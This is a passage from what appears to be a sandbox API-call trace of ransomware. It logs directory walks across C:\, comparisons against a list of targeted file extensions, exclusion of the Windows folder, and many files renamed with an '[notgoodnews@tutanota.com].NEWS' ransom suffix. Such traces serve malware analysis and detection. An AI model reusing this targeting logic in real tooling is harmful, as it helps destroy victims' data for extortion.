(lpString=".pnm") returned 4 [0157.118] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".pot") returned 4 [0157.118] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".potm") returned 5 [0157.118] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".potx") returned 5 [0157.118] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".ppa") returned 4 [0157.118] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.118] lstrlenW (lpString=".ppam") returned 5 [0157.118] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.118] lstrlenW (lpString=".ppm") returned 4 [0157.119] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".pps") returned 4 [0157.119] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".ppsm") returned 5 [0157.119] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.119] lstrlenW (lpString=".ppt") returned 4 [0157.119] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".pptm") returned 5 [0157.119] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.119] lstrlenW (lpString=".pptx") returned 5 [0157.119] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.119] lstrlenW (lpString=".prn") returned 4 [0157.119] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".ps") returned 3 [0157.119] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.119] lstrlenW (lpString=".psb") returned 4 [0157.119] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".psd") returned 4 [0157.119] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".pst") returned 4 [0157.119] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".ptx") returned 4 [0157.119] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".pub") returned 4 [0157.119] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.119] lstrlenW (lpString=".pwm") returned 4 [0157.119] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.119] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3792d8c7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3792d8c7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3792d8c7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="OOBE_2~1.NEW")) returned 1 [0157.119] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378e1547, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x378e1547, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x379077d3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARTNE~1.NEW")) returned 1 [0157.120] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378e1547, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x378e1547, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x379077d3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARTNE~1.NEW")) returned 0 [0157.120] FindClose (in: hFindFile=0x484158 | out: hFindFile=0x484158) returned 1 [0157.122] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.123] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0157.123] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.123] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4844d8 [0157.123] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37789fff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37789fff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x377b0188, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="GETCUR~1.NEW")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3792d8c7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3792d8c7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c28909, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="GETCUR~2.NEW")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377d6656, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x377d6656, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b69cd9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARTNE~1.NEW")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377d6656, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x377d6656, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3782299a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PREOOB~1.NEW")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3782299a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3782299a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPC~1.NEW")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3782299a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3782299a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPC~1.NEW")) returned 0 [0157.124] FindClose (in: hFindFile=0x4844d8 | out: hFindFile=0x4844d8) returned 1 [0157.125] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.125] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0157.125] FindClose (in: hFindFile=0x484198 | out: hFindFile=0x484198) returned 1 [0157.125] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0157.125] FindNextFileW (in: hFindFile=0x484118, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0157.125] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fb0978 [0157.125] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484158 [0157.125] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.125] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0157.125] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.126] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="찐K\x08")) returned 0xffffffff [0157.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.126] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0157.126] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.126] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.126] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.126] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x68968dfd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.126] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37979f15, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37979f15, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c74c3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 1 [0157.126] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37979f15, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37979f15, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c74c3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 0 [0157.126] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.126] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0157.126] FindClose (in: hFindFile=0x484158 | out: hFindFile=0x484158) returned 1 [0157.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0157.126] FindNextFileW (in: hFindFile=0x484118, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0157.127] FindNextFileW (in: hFindFile=0x484118, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3ee6f614, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0157.127] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0157.127] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1 [0157.127] lstrlenW (lpString="588bce7c90097ed212") returned 18 [0157.127] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1 [0157.127] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fb0978 [0157.127] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0157.127] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3ee6f614, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484898 [0157.129] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3ee6f614, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.129] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0157.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0157.129] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0157.129] lstrlenW (lpString="1025") returned 4 [0157.129] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0157.129] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0157.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484658 [0157.131] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.131] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c28909, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c28909, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c4e97b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.131] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.131] lstrlenW (lpString=".1cd") returned 4 [0157.131] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.131] lstrlenW (lpString=".3ds") returned 4 [0157.131] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".3fr") returned 4 [0157.132] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".3g2") returned 4 [0157.132] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".3gp") returned 4 [0157.132] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".7z") returned 3 [0157.132] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.132] lstrlenW (lpString=".accda") returned 6 [0157.132] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.132] lstrlenW (lpString=".accdb") returned 6 [0157.132] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.132] lstrlenW (lpString=".accdc") returned 6 [0157.132] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.132] lstrlenW (lpString=".accde") returned 6 [0157.132] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.132] lstrlenW (lpString=".accdt") returned 6 [0157.132] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.132] lstrlenW (lpString=".accdw") returned 6 [0157.132] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.132] lstrlenW (lpString=".adb") returned 4 [0157.132] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".adp") returned 4 [0157.132] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".ai") returned 3 [0157.132] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.132] lstrlenW (lpString=".ai3") returned 4 [0157.132] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".ai4") returned 4 [0157.132] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".ai5") returned 4 [0157.132] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".ai6") returned 4 [0157.132] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.132] lstrlenW (lpString=".ai7") returned 4 [0157.132] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".ai8") returned 4 [0157.133] lstrcmpiW 